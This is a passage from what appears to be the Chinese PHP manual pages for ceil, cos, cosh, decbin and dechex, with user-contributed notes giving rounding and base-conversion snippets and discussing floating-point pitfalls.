      $fraction_result+=$digits[$i-1]*$exponent;
    }

  }else{
    $integer=$binary;
  }

  $splits=str_split($integer);
  $num=sizeof($splits)-1;
  $i=$num;
  foreach($splits as $digits){
    if ($digits>1){
      echo '<script>alert("Enter Binary Digits Only {0,1}\n \n eg: 11001 or 11001.011");history.go(-1)</script> ';
    }
    $exponent=pow(2,$i);
    $integer_result+=$digits*$exponent;
    $i--;
  }
  if($fraction_result){
    $result=$integer_result+$fraction_result;
  }else {
    $result=$integer_result;
  }
  return $result ;
}
?>
mashematician at gmail dot com 13-Mar-2008 08:57
A binary to decimal conversion function that takes advantage of the BC library functions to return decimal values of arbitrary length.

Input type must be a string in order to work properly.

<?php

function binary_to_decimal($a) {
    $bin_array = str_split($a);

    $y=sizeof($bin_array)-1;
    for ($x=0; $x<sizeof($bin_array)-1; $x++) {
        if ($bin_array[$x] == 1) {
            $bin_array[$x] = bcpow(2, $y);
        }
        $y--;
    }

    for ($z=0; $z<sizeof($bin_array); $z++) {
        $result = bcadd($result, $bin_array[$z]);
    }
    echo $result;
}

binary_to_decimal('11111');

?>
alan hogan dot com slash contact 09-Nov-2007 01:34
The "smartbindec" function I wrote below will convert any binary string (of a reasonable size) to decimal.  It will use two's complement if the leftmost bit is 1, regardless of bit length.  If you are getting unexpected negative answers, try zero-padding your strings with sprintf("%032s", $yourBitString).

<?php
function twoscomp($bin) {
    $out = "";
    $mode = "init";
    for($x = strlen($bin)-1; $x >= 0; $x--) {
        if ($mode != "init")
            $out = ($bin[$x] == "0" ? "1" : "0").$out;
        else {
            if($bin[$x] == "1") {
                $out = "1".$out;
                $mode = "invert";
            }
            else
                $out = "0".$out;
        }
    }
    return $out;
}
function smartbindec($bin) {
    if($bin[0] == 1)
        return -1 * bindec(twoscomp($bin));
    else return (int) bindec($bin);
}
?>
gwbdome at freenet dot de 19-Aug-2004 02:43
i think a better method than the "shift-method" is my method ^^...
here it comes:

function convert2bin($string) {
     $finished=0;
     $base=1;
     if(preg_match("/[^0-9]/", $string)) {
         for($i=0; $string!=chr($i); $i++);
         $dec_nr=$i;
     }
     else $dec_nr=$string;
     while($dec_nr>$base) {
         $base=$base*2;
         if($base>$dec_nr) {
             $base=$base/2;
             break;
         }
     }
     while(!$finished) {
         if(($dec_nr-$base)>0) {
             $dec_nr=$dec_nr-$base;
             $bin_nr.=1;
             $base=$base/2;
         }
         elseif(($dec_nr-$base)<0) {
             $bin_nr.=0;
             $base=$base/2;
         }
         elseif(($dec_nr-$base)==0) {
             $bin_nr.=1;
             $finished=1;
             while($base>1) {
                 $bin_nr.=0;
                 $base=$base/2;
             }
         }
     }
     return $bin_nr;
 }

=====================================================

if you want to reconvert it (from binary to string or integer) you can use this function:

function reconvert($bin_nr) {
     $base=1;
     $dec_nr=0;
     $bin_nr=explode(",", preg_replace("/(.*),/", "$1", str_replace("1", "1,", str_replace("0", "0,", $bin_nr))));
     for($i=1; $i<count($bin_nr); $i++) $base=$base*2;
     foreach($bin_nr as $key=>$bin_nr_bit) {
         if($bin_nr_bit==1) {
             $dec_nr+=$base;
             $base=$base/2;
         }
         if($bin_nr_bit==0) $base=$base/2;
     }
     return(array("string"=>chr($dec_nr), "int"=>$dec_nr));
 }
martin at punix dot de 29-May-2003 10:47
## calculate binary with "shift-method" ##

<?php
function dec2bin($decimal_code){
 for($half=($decimal_code);$half>=1;$half=(floor($half))/2){
   if(($half%2)!=0){
    $y.=1;
   }
   else{
    $y.=0;
   }
  }
 $calculated_bin=strrev($y);
 return $calculated_bin;
}
?>

## example ##

[bin] 123 = [dec] 1111011

e.g.
123/2 = 61,5 => 1
61/2  = 30,5 => 1
30/2  = 15   => 0
15/2  = 7,5  => 1
7/2   = 3,5  => 1
3/2   = 1,5  => 1
1/2   = 0,5  => 1
(0/2   = 0    finish)


进一法取整

  • ? bindec
  • cos ?
  • PHP Manual
  • Math 函数
  • 进一法取整

ceil

(PHP 4, PHP 5, PHP 7, PHP 8)

ceil — 进一法取整

说明

ceil(int|float $num): float

如果有必要，通过对 num 向上取整返回下一个最高的整数。

参数

num

要进一法取整的值

返回值

返回不小于 num 的下一个整数。ceil() 返回的类型仍然是 float，因为 float 值的范围通常比 int 要大。

更新日志

版本 | 说明
8.0.0 | num 不再接受支持数字转换的内部对象。

示例

Example #1 ceil() 示例

<?php
echo ceil(4.3); // 5
echo ceil(9.999); // 10
echo ceil(-3.14); // -3
?>

参见

  • floor() - 舍去法取整
  • round() - 对浮点数进行四舍五入

User Contributed Notes

emoore at thunkit dot biz 02-Aug-2023 06:06
Casting to an int can fix the floating point issue when doing math and then calling ciel(...)

echo PHP_EOL;
$value = 77.4;
$value1 = (int) ($value * 100);
echo $value1;   // 7740
echo PHP_EOL;
$value2 = ((int) ($value * 100))/100;
echo $value2; // 77.4
echo PHP_EOL;
echo ceil($value1) . " ceil step"; // 7740
echo PHP_EOL;
echo ceil(7740.00000) . " ciel a float"; // 7740
echo PHP_EOL;
echo ceil($value * 100); // 7741
echo PHP_EOL;
echo ceil($value * 100) / 100;         // 77.41 - WRONG!
echo PHP_EOL;
echo ceil(round($value * 100)) / 100;  // 77.4 - OK!
eep2004 at ukr dot net 13-May-2018 10:09
Caution!
<?php
$value = 77.4;
echo ceil($value * 100) / 100;         // 77.41 - WRONG!
echo ceil(round($value * 100)) / 100;  // 77.4 - OK!
eep2004 at ukr dot net 12-May-2018 10:52
Caution!
<?php
$value = 77.4;
echo ceil($value * 100) / 100;            // 77.41 - WRONG!
echo ceil((string)($value * 100)) / 100;  // 77.4 - OK!
Anonymous 03-Nov-2015 09:22
Just a quick note to be careful of, if you use the "round_up" code suggested by steve, i must warn you it isn't completely fool proof.

I have the following maths which is evaluated incorrectly

37.2000 - 6.2000 = 31.01

echo(round_up(37.2000 - 6.2000,2));

This returns the incorrect result, 31.01 which as any junior in mathematics knows...IS WRONG!

use with caution.
Bas Vijfwinkel 25-May-2015 03:38
Note that 'ceil' can show unexpected behaviour when using float values due to inaccuracies in the float system and PHP tendency to freely limiting the number of digits it displays to the user.
It might like it is rounding up values that end in 0 (zero) but actually PHP is not showing that the value is not exactly the value it shows.

<?PHP
echo('Displaying 13915.0000000000018190 : '. 13915.0000000000018190);
echo('<br>');
echo('Result ceil(13915.0000000000018190) :'.ceil(13915.0000000000018190));
echo('<br>');
?>
For example 13915 cannot be represented as exactly 13915 but becomes
13916.0000000000018190 and 'ceil' will therefore round it up to 13916.

<?PHP
$value = 12650 * 1.1;
echo('Expected behaviour : ceil(12650 * 1.1) = ceil(13915) = 13915');
echo('<br>');
echo('Using only ceil :'.ceil($value));
echo('<br>');
echo('Showing decimals : '.number_format($value - floor($value), 16));
echo('<br>');
echo('Using ceil + round : '.ceil(round($value,4)));
?>

So if 'ceil' looks like it is not working correctly and rounding up figures that end in 0 (zero) then this might be the cause of this behaviour.
Adding a simple 'round' before the applying the 'ceil' solves this problem.
cedricaubert at gmail dot com 14-Apr-2015 03:14
Here is a more accurate way to round on superior decimal.

function round_sup($nb, $precision) {
        $p = pow(10, $precision);
        return ceil(round($nb * $p, 1)) / $p;
}

$k = 10 * 4.98;                   // k = 49.8
echo ceil($k * 10) / 10;    // 49.9   !!
echo round_sup($k, 1);   // 49.8
Gemini_13 at torba dot su 05-Dec-2014 12:16
$test = (1 - 0.7) * 10;

$test_1 = ceil($test);
$test_2 = ceil($test * 10);

var_dump($test_1);    // float 4
var_dump($test_2);    // float 31
josoort at home dot nl 12-May-2014 07:14
You can simply make a ceil with decimals function by using the round() function and add 0.05 to the value if the value must have 1 decimal accuracy, or 0.005 for 2 decimals accuracy, or 0.0005 for 3 decimals etc.

Example :

function ceilDec($input, $decimals)
{
    $subtract = 5 / pow(10, $decimals + 1);
    $output = round($input + $subtract, $decimals);
    return $output;
}
eg at pensio dot com 29-Jul-2013 11:57
Remember that floating point precision means behavior can be "correct" - though not what you expect:

php > echo 100 * 1 * 0.07;
7
php > echo ceil(100 * 1 * 0.07);
8
alesegdia at gmail dot com 16-Jun-2013 07:00
Some people asking on rounding -1.5 to -2 and 1.5 to 2, the way is this:

<?=round($var, 0, PHP_ROUND_HALF_UP)?>

See round() doc for more information on this.
sebastien dot thevenaz at gmail dot com 30-Jul-2012 06:20
Here is another way to use ceil for decimal numbers with precision:

<?php
    function ceil_dec($number, $precision)
    {
        $coefficient = pow(10,$precision);
        return ceil($number*$coefficient)/$coefficient;
    }
?>
php is the best 20-Apr-2012 06:29
Ceil for decimal numbers with precision:

function ceil_dec($number,$precision,$separator)
{
    $numberpart=explode($separator,$number);
$numberpart[1]=substr_replace($numberpart[1],$separator,$precision,0);
    if($numberpart[0]>=0)
    {$numberpart[1]=ceil($numberpart[1]);}
    else
    {$numberpart[1]=floor($numberpart[1]);}

    $ceil_number= array($numberpart[0],$numberpart[1]);
    return implode($separator,$ceil_number);
}

echo ceil_dec(1.125,2,"."); //1.13
echo ceil_dec(-1.3436,3,"."); //-1.343
echo ceil_dec(102938.1,4,"."); //102938.1
Lexand 30-Mar-2012 12:15
$k = 0.14 * 100;
echo ceil($k); // results 15

solution is in converting float number to string

Example 1.
echo ceil ("{$k}"); // results 14

Example 2.
$totalSum1 = 102.1568;
$k = $totalSum1 / 100;
echo ceil ("{$k}"); // results 102.16

Example 3.
$totalSum2 = 102.15;
$k = $totalSum1 / 100;
echo ceil ("{$k}"); // results 102.15

useful for 'ceil' with precision capability
frozenfire at php dot net 06-Feb-2012 02:38
Please see http://www.php.net/manual/en/language.types.float.php for information regarding floating point precision issues.
oktam 10-May-2011 03:12
Actual behaviour:
echo ceil(-0.1); //result "-0" but i expect "0"

Workaround:
echo ceil(-0.1)+0; //result "0"
AndrewS 07-Mar-2011 04:55
The code below rounds a value up to a nearest multiple, away from zero.  The multiple does not have to be a integer.  So you could round, say, to the nearest 25.4, allowing you to round measurements in mm to the nearest inch longer.

<?php
// $x is the variable
// $c is the base multiple to round to, away from zero
$result =  ( ($y = $x/$c) == ($y = (int)$y) ) ? $x : ( $x>=0 ?++$y:--$y)*$c ;
?>

I originally developed this as an example of write-only code: to make the point that being cleverly terse might save clock ticks but wastes more in programmer time generating un-maintainable code.

The inline code above nests one conditional statement inside another.  The value of y changes twice within the same line (three times, if you count the pre-increment).  The value of each assignment is used to determine branching within the conditional statement.

How it works can more easily be seen from the expansion below:

<?php
function myCeilingLong($x,$c)
{
    // $x is variable
    // $c is ceiling multiple
    $a = $x/$c ;
    $b = (int)$a ;
    if ($a == $b)
        return $x ;  // x is already a multiple of c;
    else
    {
        if ($x>=0)
            return ($b+1)*$c ;  // return ((int)(x/c)+1 ) * c
        else
            return ($b-1)*$c ;  // return ((int)(x/c)-1 ) * c
    }
}
?>

<?php
function myCeilingShort($x,$c)
{
    return ( ($y = $x/$c) == ($y = (int)$y) ) ? $x : ( $x>=0 ?++$y:--$y)*$c ;
}
?>

Comparing the versions for speed: the in-line version is about three times faster than myCeilingLong() - but this is almost entirely down to function call overhead.

Putting the in-line code inside the function: the difference in execution speed between myCeilingLong() and myCeilingShort() is around 1.5%.

ceil() is still around 25% faster than the in-line statement so if you are a speed hound your efforts might be better devoted to compiling your own library ...
Scott Weaver / scottmweaver * gmail 29-Aug-2008 10:46
I needed this and couldn't find it so I thought someone else wouldn't have to look through a bunch of Google results-

<?php

// duplicates m$ excel's ceiling function
if( !function_exists('ceiling') )
{
    function ceiling($number, $significance = 1)
    {
        return ( is_numeric($number) && is_numeric($significance) ) ? (ceil($number/$significance)*$significance) : false;
    }
}

echo ceiling(0, 1000);     // 0
echo ceiling(1, 1);        // 1000
echo ceiling(1001, 1000);  // 2000
echo ceiling(1.27, 0.05);  // 1.30

?>
themanwe at yahoo dot com 20-Mar-2007 11:35
float ceil

function fCeil($val,$pressision=2){
     $p = pow(10,$pressision);
    $val = $val*$p;
    $val = ceil($val);
  return $val /$p;
}
steve_phpnet // nanovox \\ com 28-Feb-2005 12:40
I couldn't find any functions to do what ceiling does while still leaving I specified number of decimal places, so I wrote a couple functions myself.  round_up is like ceil but allows you to specify a number of decimal places.  round_out does the same, but rounds away from zero.

<?php
 // round_up:
 // rounds up a float to a specified number of decimal places
 // (basically acts like ceil() but allows for decimal places)
 function round_up ($value, $places=0) {
  if ($places < 0) { $places = 0; }
  $mult = pow(10, $places);
  return ceil($value * $mult) / $mult;
 }

 // round_out:
 // rounds a float away from zero to a specified number of decimal places
 function round_out ($value, $places=0) {
  if ($places < 0) { $places = 0; }
  $mult = pow(10, $places);
  return ($value >= 0 ? ceil($value * $mult):floor($value * $mult)) / $mult;
 }

 echo round_up (56.77001, 2); // displays 56.78
 echo round_up (-0.453001, 4); // displays -0.453
 echo round_out (56.77001, 2); // displays 56.78
 echo round_out (-0.453001, 4); // displays -0.4531
?>
aaron at mind-design dot co dot uk 21-Jul-2004 01:10
Or for the terniary fans:

<?php

function roundaway($num) {
   return(($num > 0) ? ceil($num) : floor($num));
}

?>

Slightly pointless, but there you have it, in one line only..
rainfalling at yahoo dot com 22-Apr-2004 05:51
IceKarma said: "If you want, say, 2.6 to round to 3, and -2.6 to round to -3, you want round(), which rounds away from zero."

That's not always true. round() doesn't work that way, like zomis2k said it just rounds up _or_ down to the nearest non-decimal number. However this should work.

<?php

function roundaway($num) {
    if ($num > 0)
      return ceil($num);
    elseif ($num < 0)
      return floor($num);
    elseif ($num == 0)
      return 0;
}

?>
roger_dupere at hotmail dot com 10-Nov-2003 02:02
Here is a navbar using the ceil function.

<?php
 function navbar($num_rows,$page,$link) {
   $nbrlink = 10; /* Number of link to display per page */
   $page = (int) $page; /* Page now displayed */
   $num_rows = (int) $num_rows;

   if( $num_rows > 0 ) {
     $total_page = ceil( $num_rows / $nbrlink );

     for( $i=1;$i<$total_page+1;$i++ ) {
       if( $i == $page ) {
         $ret .= " <b>$i</b> ";
       } else {
         if( strstr( $link,"?" ) ) {
           $ret .= " <a href=\"$link&page=$i\">$i</a> ";
         } else {
           $ret .= " <a href=\"$link?page=$i\">$i</a> ";
         }
       }
     }

     return $ret;
   }
 }
  /* Let say that $num_rows content the numbre of rows of your sql query */
  $navbar = navbar( $num_rows, $page, "listmovie.php?id=$id" );

  if( $navbar != null || $navbar != "" ) {
    print( "<p><div align=\"center\">$navbar</div></p>" );
  }
?>


余弦

  • ? ceil
  • cosh ?
  • PHP Manual
  • Math 函数
  • 余弦

cos

(PHP 4, PHP 5, PHP 7, PHP 8)

cos — 余弦

说明

cos(float $num): float

cos() 返回参数 num 的余弦值。参数 num 的单位为弧度。

参数

num

以弧度表示的角度

返回值

num 的余弦值

示例

Example #1 cos() 示例

<?php

echo cos(M_PI); // -1

?>

参见

  • acos() - 反余弦
  • sin() - 正弦
  • tan() - 正切
  • deg2rad() - 将角度转换为弧度

User Contributed Notes

There are no user contributed notes for this page.


双曲余弦

  • ? cos
  • decbin ?
  • PHP Manual
  • Math 函数
  • 双曲余弦

cosh

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

cosh — 双曲余弦

说明

cosh(float $num): float

返回 num 的双曲余弦值，定义为 (exp($num) + exp(-$num))/2。

参数

num

要处理的参数

返回值

num 的双曲余弦值。

参见

  • cos() - 余弦
  • acosh() - 反双曲余弦
  • sinh() - 双曲正弦
  • tanh() - 双曲正切

User Contributed Notes

There are no user contributed notes for this page.


十进制转换为二进制

  • ? cosh
  • dechex ?
  • PHP Manual
  • Math 函数
  • 十进制转换为二进制

decbin

(PHP 4, PHP 5, PHP 7, PHP 8)

decbin — 十进制转换为二进制

说明

decbin(int $num): string

返回字符串，包含有给定 num 参数的二进制表示。

参数

num

要转换的十进制值

32 位机器上的输入范围
正 num | 负 num | 返回值
0 | 0
1 | 1
2 | 10
... normal progression ...
2147483646 | 1111111111111111111111111111110
2147483647（最大有符号整数） | 1111111111111111111111111111111 (31 1's)
2147483648 | -2147483648 | 10000000000000000000000000000000
... normal progression ...
4294967294 | -2 | 11111111111111111111111111111110
4294967295（最大无符号整数） | -1 | 11111111111111111111111111111111 (32 1's)
64 位机器上的输入范围
正 num | 负 num | 返回值
0 | 0
1 | 1
2 | 10
... normal progression ...
9223372036854775806 | 111111111111111111111111111111111111111111111111111111111111110
9223372036854775807（最大有符号整数） | 111111111111111111111111111111111111111111111111111111111111111 (63 1's)
-9223372036854775808 | 1000000000000000000000000000000000000000000000000000000000000000
... normal progression ...
-2 | 1111111111111111111111111111111111111111111111111111111111111110
-1 | 1111111111111111111111111111111111111111111111111111111111111111 (64 1's)

返回值

num 的二进制字符串表示

示例

Example #1 decbin() 示例

<?php
echo decbin(12) . "\n";
echo decbin(26);
?>

以上示例会输出：

1100
11010

参见

  • bindec() - 二进制转换为十进制
  • decoct() - 十进制转换为八进制
  • dechex() - 十进制转换为十六进制
  • base_convert() - 在任意进制之间转换数字
  • printf() - 输出格式化字符串，格式使用 %b、%032b 或 %064b
  • sprintf()，格式使用 %b、%032b 或 %064b

User Contributed Notes

coverup 03-Mar-2017 07:09
Regarding trailing zeros, after test all the option mention here by others, i have performed my own tests regarding efficiency, here are the results:

<?php

$decimal = 9;

$time_start = microtime(true);
for ($i=0;$i<1000;$i++){
$bin = printf('%08b',  $decimal);
}
$time_end = microtime(true);
$time = $time_end - $time_start;
echo "<hr>Duracion $time segundos<br>\n";
echo $bin . '<br>';

$time_start = microtime(true);
for ($i=0;$i<1000;$i++){
$bin = sprintf( "%08d", decbin( $decimal ));
}
$time_end = microtime(true);
$time = $time_end - $time_start;
echo "<hr>Duracion $time segundos<br>\n";
echo $bin . '<br>';

$time_start = microtime(true);
for ($i=0;$i<1000;$i++){
$bin = decbin($decimal);
$bin = substr("00000000",0,8 - strlen($bin)) . $bin;
}
$time_end = microtime(true);
$time = $time_end - $time_start;
echo "<hr>Duracion $time segundos<br>\n";
echo $bin . '<br>';

?>

results

0000100100001001000010010000100.... (output is echoed 1000 times)
Duracion 0.0134768486023 segundos
8
Duracion 0.00054407119751 segundos
00001001
Duracion 0.000833988189697 segundos
00001001

Thus the winner is
<?php
$bin = sprintf( "%08d", decbin( $decimal ));
?>
malcolm.murphy 02-Feb-2017 03:42
The GNU MP library (http://php.net/manual/en/book.gmp.php) provides methods to efficiently convert binary strings of any length to their binary representation (i.e., a `decbin` equivalent for strings).

<?php

$str = random_bytes(1024); // binary string example

$result = gmp_strval(gmp_import($str), 2); // see manual for options such as endianness

$zeroPadded = sprintf('%0' . (strlen($str) * 8) . 's', $result); // zero-pad if needed, e.g. with str_pad, or sprintf as shown here

$strAgain = gmp_export(gmp_init($result, 2)); // reverse operation similar to bindec

?>
rambabusaravanan at gmail dot com 05-Jan-2017 01:08
Print as binary format with leading zeros into a variable in one simple statement.

<?php
    $binary = sprintf('%08b',  $decimal);    // $decimal = 5;
    echo $binary;    // $binary = "00000101";
?>
noname at example dot com 08-Jul-2015 05:29
If you want leading zeros use php built-in features instead of custom functions

<?php
printf('%08b',  $decimal);
?>

>> printf('%08b', E_NOTICE)
>> 00001000
MarcelG 11-Feb-2014 10:07
To add leading zeros I prefer the following:
<?php
// Add leading zeros
$bin = sprintf( "%08d", decbin( 26 )); // "00011010"
?>
dj.luiting(.a.t.)gmail.com 22-Jan-2014 09:06
hi folks, i struggled for a day to get a big decimal number converted into binary, on the windows platform.
finally with bcmath functions this is what worked for me.

function bc_convert2bin($string) {

    //got it to work with bcmath functions, works for 64 bit on 32 bit windows machine
    $finished=0;
    $base=2;
    $bin_nr='';

    if(preg_match("/[^0-9]/", $string)) {
        for($i=0; $string!=chr($i); $i++) {
            $dec_nr=$i;
        }
    } else {
        $dec_nr=$string;
    }
    //while( $dec_nr>$base ) {
    while( bccomp($dec_nr,$base) == 1 ) {

        //$base=$base*2;
        $base=bcmul($base,'2');
        //if($base>$dec_nr) {
        if( bccomp($base,$dec_nr) == 1 ) {
            //$base=$base/2;
            $base=bcdiv($base,'2');
            break;
        }
    }

    while(!$finished) {

        //if(($dec_nr-$base)>0) {
        if( bccomp( bcsub($dec_nr,$base) , 0) == 1 ) {

            //$dec_nr=$dec_nr-$base;
            $dec_nr=bcsub($dec_nr,$base);
            $bin_nr.=1;
            //$base=$base/2;
            $base=bcdiv($base,'2');

        //} elseif(($dec_nr-$base)<0) {
        } elseif( bccomp( bcsub($dec_nr,$base) , 0) == -1 ) {

            $bin_nr.=0;
            //$base=$base/2;
            $base=bcdiv($base,'2');

        //} elseif(($dec_nr-$base)==0) {
        } elseif( bccomp( bcsub($dec_nr,$base) , 0) == 0 ) {

            $bin_nr.=1;
            $finished=1;
            //while($base>1) {
            while( bccomp($base,1) == 1 ) {

                $bin_nr.=0;
                //$base=$base/2;
                $base=bcdiv($base,'2');

            }
        }
    }
    return $bin_nr;
}
mcampa at gmail dot com 23-Aug-2013 03:09
A little useful little function that returns a binary string with leading 0s:

function d2b($n) {
  return str_pad(decbin($n), 16, "0", STR_PAD_LEFT);
}

// example:
echo d2b(E_ALL);
echo d2b(E_ALL | E_STRICT);
echo d2b(0xAA55);
echo d2b(5);

Output:
0111011111111111
0111111111111111
1010101001010101
0000000000000101
Silas R (15) 05-Mar-2013 06:00
This is my System:

You can convert a decimal number to a number system you want, like the binary system.

<?php

    function Dec2oSys($numberDec, $SysNum)
    {
        if($numberDec != 0)
        {
            $numberOSys = "";
            for (; $numberDec > 0;) {
                $numberDecBefore = $numberDec;
                $numberDec = $numberDec / $SysNum;
                $pos = strpos($numberDec, '.');
                if($pos != false)
                {
                    $numberDec = floor($numberDec);
                    $numberOSys .= $numberDecBefore - floor($numberDec) * $SysNum;
                    $rest = $numberDecBefore - floor($numberDec) * $SysNum;
                }
                else
                {
                    $numberOSys .= "0";
                    $rest = 0;

                }
                print $numberDec."; Rest:".$rest."<br/>";
            }
        }
        else
        {
            $numberOSys = "0";
        }
        return strrev($numberOSys);
    }

    print Dec2oSys(100, 2);

?>
Nitrogen 21-Jul-2009 10:30
Decimal to Binary conversion using the BCMath extension.

<?php

function BCDec2Bin($Input='') {
 $Output='';
 if(preg_match("/^\d+$/",$Input)) {
   while($Input!='0') {
     $Output.=chr(48+($Input{strlen($Input)-1}%2));
     $Input=BCDiv($Input,'2');
   }
   $Output=strrev($Output);
 }
 return(($Output!='')?$Output:'0');
}

?>

This will simply convert from Base-10 to Base-2 using BCMath (arbitrary precision calculation).

See also: my 'BCBin2Dec' function on the 'bindec' document.
Enjoy,
Nitrogen.
Kay 04-Oct-2008 05:04
I think this is the best function. Is almost endlessy (till 2^50 or something)

<?php
function bin($int)
{
    $i = 0;
    $binair = "";
    while($int >= pow(2,$i))
    {
        $i++;
    }

    if($i != 0)
    {
        $i = $i-1; //max i
    }

    while($i >= 0)
    {
        if($int - pow(2,$i) < 0)
        {
            $binair = "0".$binair;
        }else{
            $binair = "1".$binair;
            $int = $int - pow(2,$i);
        }

        $i--;
    }
    return $binair;
}

$getal = $_GET['getal'];

echo bin($getal);
?>
avenger at avenger dot ws 24-Aug-2008 06:25
Careful trying binary-wise tests with integers:

# FFFFFFFF
command: php -r 'print(decbin(4294967295)."\n");'
result: 11111111111111111111111111111111

# C3E9CAC8
command: php -r 'print(decbin(3286878920)."\n");'
result: 11000011111010011100101011001000

# regardless of specifying "(int)", using bitwise AND:
command: php -r 'print((int)(3286878920 & 4294967295)."\n");'
result: -1008088376 (int)

# now the expected result will happen (guess the performance impact)
command: php -r 'print(bindec(decbin((3286878920 & 4294967295)))."\n");'
result: 3286878920 (float)

additional note: if you "bitwise and" some random bits with a sequence of 1-bit of the same length, the expected result is the same "random bits sequence" unchanged. If you want to keep this in the integer world for faster comparisons, you risk messing your result for the signed integer size limitation. The maximum value you can use for the desired result is (7FFFFFFF -- or integer 2147483647), half of the maximum 'unsigned' integer 32-bit(platform-dependent) value.
darkshad3 at yahoo dot com 15-Feb-2007 03:15
<?php
Print bindecValues("1023");

function bindecValues($decimal, $reverse=false, $inverse=false) {
/*
1. This function takes a decimal, converts it to binary and returns the
     decimal values of each individual binary value (a 1) in the binary string.
     You can use larger decimal values if you pass them to the function as a string!
2. The second optional parameter reverses the output.
3. The third optional parameter inverses the binary string, eg 101 becomes 010.
-- darkshad3 at yahoo dot com
*/

    $bin = decbin($decimal);
    if ($inverse) {
        $bin = str_replace("0", "x", $bin);
        $bin = str_replace("1", "0", $bin);
        $bin = str_replace("x", "1", $bin);
    }
    $total = strlen($bin);

    $stock = array();

    for ($i = 0; $i < $total; $i++) {
        if ($bin{$i} != 0) {
            $bin_2 = str_pad($bin{$i}, $total - $i, 0);
            array_push($stock, bindec($bin_2));
        }
    }

    $reverse ? rsort($stock):sort($stock);
    return implode(", ", $stock);
}
?>

The printed result is : 1, 2, 4, 8, 16, 32, 64, 128, 256, 512
Xavier Daull 04-Feb-2006 02:57
A fast function to convert a binary string to a bit sequence

<?php

function BinString2BitSequence($mystring) {
    $mybitseq = "";
    $end = strlen($mystring);
    for($i = 0 ; $i < $end; $i++){
        $mybyte = decbin(ord($mystring[$i])); // convert char to bit string
        $mybitseq .= substr("00000000",0,8 - strlen($mybyte)) . $mybyte; // 8 bit packed
    }
    return $mybitseq;
}

echo BinString2BitSequence("ABCDEF"); // OUTPUT=010000010100001001000011010001000100010101000110

?>
06-Jan-2006 06:29
Just an example:
If you convert 26 to bin you'll get 11010, which is 5 chars long. If you need the full 8-bit value use this:

$bin = decbin(26);
$bin = substr("00000000",0,8 - strlen($bin)) . $bin;

This will convert 11010 to 00011010.
08-Feb-2005 07:27
base_convert( base_convert('100001000100000000010001001000
0100100000001111111111111111111',2,10),10,2);

return
'1000010001000000000100010010000
100100000010000000000000000000'

this function doesn't work
php at silisoftware dot com 28-Feb-2002 07:15
Another larger-than-31-bit function.
Works for very large numbers, but at the expense of perfect bit-precision as the size increases (I noticed rounding errors past 16 or so decimal places) so use with caution, and only when decbin() won't cut it.

function Dec2Bin($number) {
    while ($number >= 256) {
        $bytes[] = (($number / 256) - (floor($number / 256))) * 256;
        $number = floor($number / 256);
    }
    $bytes[] = $number;
    for ($i=0;$i<count($bytes);$i++) {
        $binstring = (($i == count($bytes) - 1) ? decbin($bytes[$i]) : str_pad(decbin($bytes[$i]), 8, "0", STR_PAD_LEFT)).$binstring;
    }
    return $binstring;
}
ajl at gmx dot de 08-Oct-2001 01:47
HERE you can convert 64bit instead of 32bit with the standard decbin
<?
function bigdecbin($dec,$doublewords=1) {
    $erg = "";
    do {
          $rest = $dec%2147483648;
          if ($rest<0) $rest+=2147483648;
          $erg = str_pad(decbin($rest),31,"0",STR_PAD_LEFT).$erg;
          $dec = ($dec-$rest)/2147483648;
      } while (($dec>0)&&(!($dec<1)));

      return str_pad($erg,$doublewords*31,"0",STR_PAD_LEFT);
}

echo "<pre>";
for ($i=1.5*2147483647.0-10;$i<1.5*2147483647.0+10;$i++) {
    echo "DEC:".$i." BIN:".bigdecbin($i,2)."<br>";
}
echo "</pre>";
?>


十进制转换为十六进制

  • ? decbin
  • decoct ?
  • PHP Manual
  • Math 函数
  • 十进制转换为十六进制

dechex

(PHP 4, PHP 5, PHP 7, PHP 8)

dechex — 十进制转换为十六进制

说明

dechex(int $num): string

返回一字符串，包含有给定 num 参数的十六进制表示。

所能转换的最大数值为十进制的 PHP_INT_MAX * 2 + 1 (或 -1)：在 32 位平台上是十进制的 4294967295，其 dechex() 的结果为 ffffffff。

参数

num

要转换的十进制值

PHP 的 int 类型是有符号的，但 dechex() 处理无符号整数，负正数会以无符号处理。

返回值

num 的16进制表示

示例

Example #1 dechex() 示例

<?php
echo dechex(10) . "\n";
echo dechex(47);
?>

以上示例会输出：

a
2f

Example #2 大整数的 dechex() 示例

<?php
// 下面的输出假设是 32 位平台。
// 注意输出的所有值一样。
echo dechex(-1)."\n";
echo dechex(PHP_INT_MAX * 2 + 1)."\n";
echo dechex(pow(2, 32) - 1)."\n";
?>

以上示例会输出：

ffffffff
ffffffff
ffffffff

参见

  • hexdec() - 十六进制转换为十进制
  • decbin() - 十进制转换为二进制
  • decoct() - 十进制转换为八进制
  • base_convert() - 在任意进制之间转换数字

User Contributed Notes

mahdiyari 24-Jul-2022 11:45
Zero padded hex strings as a pair of 2 (8bit).

<?php
function dec2hex($int) {
  $hex = dechex($int);
  if (strlen($hex)%2 != 0) {
    $hex = str_pad($hex, strlen($hex) + 1, '0', STR_PAD_LEFT);
  }
  return $hex;
}

dec2hex(2); // 02
dec2hex(10); // 0a
dec2hex(256); // 0100
?>
hugo 24-Apr-2017 05:12
warning jbleau dec_to_hex method is buggy, avoid it.

dec_to_hex('9900000397')-->24e16048f
dec_to_hex('9900000398')-->24e16048f
dec_to_hex('9900000399')-->24e16048f
delchodimi at gmail dot com 30-Apr-2015 02:43
I like the example with the bitwise operations but if the value of color[0] is less than 16 it's not accurate:
example:
color[0]: 0;
color[1]: 0;
color[2]: 255;
 function hexColor($color) {
  return dechex(($color[0]<<16)|($color[1]<<8)|$color[2]);
}
It returns "ff", which is not legit RGB color...
so my solution is to combine the function above with:
function toColor($n)
{
return("#".substr("000000".dechex($n),-6));
}

If you gotta deal with array of rgb values this is my solution:
------------------------------------------------------
function hexColor($color) {
    $rgb = dechex(($color[0]<<16)|($color[1]<<8)|$color[2]);
    return("#".substr("000000".$rgb, -6));
}
------------------------------------------------------
baoquyen804 at gmail dot com 01-Sep-2014 09:16
this base function convert string rgb to color
<?php
    function rgb_to_color($rgb, $symbols=' '){
        $color = '';
        $arr = explode($symbols, $rgb);
        $count = count($arr);
        for($i=0; $i<$count; $i++){
            $color .= dechex($arr[$i]);
        }
        return '#'.$color;
    }
       echo rgb_to_color('186 186 18');  // #baba12
    echo rgb_to_color('186-186-18', '-');  // #baba12
?>
jenny-schubert87 dot 1 at web dot de 31-Jul-2014 10:02
I figured out another way to do this:
